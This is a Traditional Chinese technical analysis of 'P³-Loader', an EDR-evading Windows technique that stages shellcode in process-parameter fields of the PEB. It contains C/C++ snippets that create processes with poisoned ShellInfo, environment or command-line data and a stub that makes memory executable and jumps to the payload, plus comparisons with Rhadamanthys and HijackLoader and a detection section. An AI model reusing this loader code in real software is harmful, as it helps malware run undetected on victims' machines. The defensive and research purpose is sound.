1. 簡介
在現代進攻性資安的領域中,shellcode 載入器的首要目標是執行惡意 payload,同時對端點偵測與回應 (Endpoint Detection and Response, EDR) 解決方案保持隱形。傳統的注入方法,例如
Process Hollowing
或
Remote Thread Injection
,由於依賴一組可預測的 Windows API 序列(特別是
VirtualAllocEx
、
WriteProcessMemory
和
CreateRemoteThread
),因此受到資安產品的高度監控
[1]
。
P³-Loader (Process Parameter Poisoning)
專案提出了一種精巧的替代方案,利用
Process Environment Block (PEB)
中的
RTL_USER_PROCESS_PARAMETERS
結構作為 shellcode 的暫存區域。透過「poisoning」標準的程序啟動參數(例如命令列、環境變數或啟動資訊中的保留欄位),攻擊者可以將任意資料傳輸到遠端程序中,而不會觸發與明確記憶體寫入相關的遙測(telemetry)
[1]
。這份報告分析了此技術的實作方式、其架構上的優勢,以及與當代規避型載入器(如 Rhadamanthys 和 HijackLoader)相比較的定位。
2. 技術基礎:Process Environment Block (PEB)
每個 Windows 程序都維護著一個 PEB,這是一個包含執行時期資訊的關鍵資料結構。在 PEB 中,
ProcessParameters
成員指向一個
RTL_USER_PROCESS_PARAMETERS
結構。該結構包含了環境變數、命令列以及其他初始化字串。
P³ 技術利用了 Windows 載入器在初始化期間,會自動將
CreateProcessW
呼叫中的資料複製到目標程序記憶體空間的事實。具體來說,
STARTUPINFOW
結構中的
lpReserved
欄位會被複製到程序參數的
ShellInfo
成員中
[1]
。這提供了一個「內建」的資料傳輸機制,可以繞過
WriteProcessMemory
。
- typedef struct _RTL_USER_PROCESS_PARAMETERS {
- ULONG MaximumLength;
- ULONG Length;
- ULONG Flags;
- // ... additional fields
- UNICODE_STRING ImagePathName;
- UNICODE_STRING CommandLine; // Primary candidate for transfer
- PVOID Environment; // Primary candidate for transfer
- // ...
- UNICODE_STRING ShellInfo; // Targeted via lpReserved in STARTUPINFO
- // ...
- } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
3. 實作分析
P³-Loader 的核心能力是建立一個帶有「poisoned」參數的程序。以下的實作展示了載入器如何在不同的注入向量之間進行選擇:
ShellInfo
、
Environment
或
CommandLine
。
- // Implementation of process creation with poisoned parameters
- // This function allows the attacker to select the staging location for the shellcode
- BOOL CreateProcessWithPoison(int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) {
- STARTUPINFOW si = { 0 };
- si.cb = sizeof(si);
- switch (choice) {
- case 1: // Staging via ShellInfo (lpReserved field)
- printf("[~] Writing into ShellInfo via lpReserved...\n");
- si.lpReserved = poisonParameter; // Shellcode is passed here
- return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
- case 2: // Staging via Environment block
- printf("[~] Writing into Environment block...\n");
- // CREATE_UNICODE_ENVIRONMENT is required for proper string handling
- return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi);
- case 3: // Staging via CommandLine
- printf("[~] Writing into CommandLine...\n");
- return CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
- default:
- return FALSE;
- }
- }
一旦程序以暫停或正常狀態建立,載入器就必須定位被注入的資料。這可以透過使用
NtQueryInformationProcess
查詢目標程序的 PEB,然後讀取
ProcessParameters
結構來達成
[1]
。
3.1. 執行流程視覺化
以下序列圖說明了在 P³ 注入循環期間,載入器(來源)與目標程序(遠端)之間的互動。
4. 進階 Shellcode 暫存
使用程序參數的一個顯著限制是 null-terminator 的限制。由於參數被視為字串,shellcode 中的任何 null 位元組 (
0x00
) 都會截斷 payload。P³-Loader 透過實作一個
ShellCodeWriter
來解決此問題,該寫入器使用一個小型 bootstrap 存根 (stub) 在記憶體中重構完整的 payload
[1]
。
- // ShellCodeWriter snippet for loading and calling shellcode
- // This stub changes memory protection and jumps to the payload
- void ShellCodeWriter::LoadAndCallShellCode(std::vector<uint8_t> shellcode) {
- // ...
- // 1. Allocates READWRITE memory for the full payload
- CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
- // 2. Changes protection to EXECUTE_READ to bypass DEP
- // This uses a direct call to VirtualProtect
- AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress
- SetArgRegister(1, shellcode.size());
- SetArgRegister(2, PAGE_EXECUTE_READ);
- Call((uint64_t)winapi.VirtualProtect);
- // 3. Jumps to the newly allocated area
- AppendShellCode("\x41\xff\xe4", 3); // jmp r12
- }
5. 比較性研究與規避情境
P³ 技術與其他進階載入器有著概念上的相似之處。例如, Rhadamanthys 竊資軟體 (v0.9.x) 最近更新了其注入選項,允許在自我注入與遠端程序注入之間切換,以規避特定的 EDR 模式 [2] 。同樣地, HijackLoader 採用了像是 Call Stack Spoofing 和 System DLL Remapping 等技術來隱藏其執行 [3] 。
| 技術 | 機制 | 偵測難度 |
|---|---|---|
| 經典注入 | VirtualAllocEx + WriteProcessMemory | 高 (受監控的 API) |
| P³-Loader | PEB 參數毒化 | 低 (合法的程序建立) |
| Rhadamanthys 0.9.x | 多模式注入切換 | 中 (行為分析) |
| HijackLoader | Call Stack Spoofing + Heaven's Gate | 非常高 (反分析) |
與使用複雜 Heaven's Gate 轉換來繞過使用者模式 hook [3] 的 HijackLoader 不同,P³-Loader 專注於 資料傳輸 階段。透過利用合法的程序建立流程,它避免了 Rhadamanthys 在執行注入常式時可能產生的「Suspicious write」遙測 [2] 。
6. 偵測與結論
儘管具有隱蔽性,P³-Loader 仍會留下痕跡 (Artifact)。偵測策略應專注於:
-
監控針對遠端程序的
NtQueryInformationProcess呼叫,隨後對 PEB 進行NtReadVirtualMemory[1] 。 - 分析命令列引數和環境區塊的熵值(entropy);shellcode 通常比標準字串表現出更高的熵值 [1] 。
-
識別將記憶體區域從
PAGE_READWRITE轉換為PAGE_EXECUTE_READ的VirtualProtectEx呼叫,且該呼叫之前沒有WriteProcessMemory[1] 。
總而言之,Process Parameter Poisoning 技術代表從「active」注入到「passive」暫存的重大轉變。透過利用 Windows 載入器的內部機制,P³-Loader 成功將足跡最小化,證明了架構上的理解往往比複雜的混淆更為有效。